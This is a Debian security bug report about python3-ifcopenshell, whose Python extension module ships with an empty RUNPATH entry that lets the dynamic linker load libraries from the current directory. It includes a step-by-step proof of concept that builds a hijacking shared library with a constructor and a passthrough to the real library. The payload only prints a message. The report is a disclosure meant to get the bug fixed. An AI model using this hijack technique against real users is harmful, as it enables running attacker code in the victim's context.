Package: python3-ifcopenshell
Version: 0.8.1+dfsg1-5
Severity: important
Tags: security

*Summary:*

The python3-ifcopenshell Debian package installs the Python extension
module:
/usr/lib/python3/dist-packages/ifcopenshell/_
ifcopenshell_wrapper.cpython-314-aarch64-linux-gnu.so

This library contains a RUNPATH with an empty trailing path element:

RUNPATH
[/build/reproducible-path/ifcopenshell-0.8.1+dfsg1/debian/build/3.14:/build/reproducible-path/ifcopenshell-0.8.1+dfsg1/debian/build/3.14/svgfill:]

Empty entries in an ELF RUNPATH (such as the trailing colon in this
RUNPATH) are interpreted by the dynamic linker as the current working
directory (CWD). As a result, when _
ifcopenshell_wrapper.cpython-314-aarch64-linux-gnu.so resolves its
dependencies, the dynamic linker searches the process working directory.

This permits library search path hijacking if an attacker places a
malicious shared library in the directory from which a victim executes
software that imports the ifcopenshell module using Python 3.14.

*Impact:*

An attacker can cause execution of attacker-controlled code in the security
context of the user running the affected application.

Since python3-ifcopenshell provides Python bindings, a victim might execute
a Python script from a directory (such as a downloaded dataset, extracted
archive, shared workspace, or /tmp) that contains an attacker-controlled
shared library. If this occurs, the malicious library will be loaded and
executed before the legitimate system library.

This issue falls under CWE-427 (Uncontrolled Search Path Element).

*Proof of Concept:*

*1. Create an attacker-controlled workspace:*

$ mkdir -p /tmp/malicious_workspace
$ cd /tmp/malicious_workspace

*2. Create the malicious payload:*

$ cat << 'EOF' > poc_ifc.c
#include <stdio.h>
#include <stdlib.h>

__attribute__((constructor))
void exploit() {
    printf("\n[!!!] IFCOPENSHELL HIJACK SUCCESSFUL [!!!]\n");
    exit(0);
}
EOF

*3. Create a dummy version map to satisfy dependency version requirements:*

$ cat << 'EOF' > versions.map
GLIBC_2.17 { };
GLIBC_2.29 { };
EOF

*4. Build a proxy libSerializers.so.0.8 library using DT_AUXILIARY so
normal symbol resolution continues:*

$ gcc -shared -fPIC poc_ifc.c \
    -o libSerializers.so.0.8 \
    -Wl,-f,/usr/lib/aarch64-linux-gnu/libSerializers.so.0.8 \
    -Wl,--version-script=versions.map

*5. Create a Python script that imports the vulnerable library:*

$ cat << 'EOF' > trigger.py
import ifcopenshell
print("ifcopenshell imported successfully!")
EOF

*6. Execute the trigger from the malicious directory using Python 3.14 (the
vulnerability exists in the cpython-314 wrapper):*

$ PYTHONPATH=/usr/lib/python3/dist-packages python3.14 trigger.py

*Result:*

[!!!] IFCOPENSHELL HIJACK SUCCESSFUL [!!!]

*Expected Fix:*

The package should not ship binaries containing empty path elements in
their RUNPATH. The trailing colon should be removed.

Reply via email to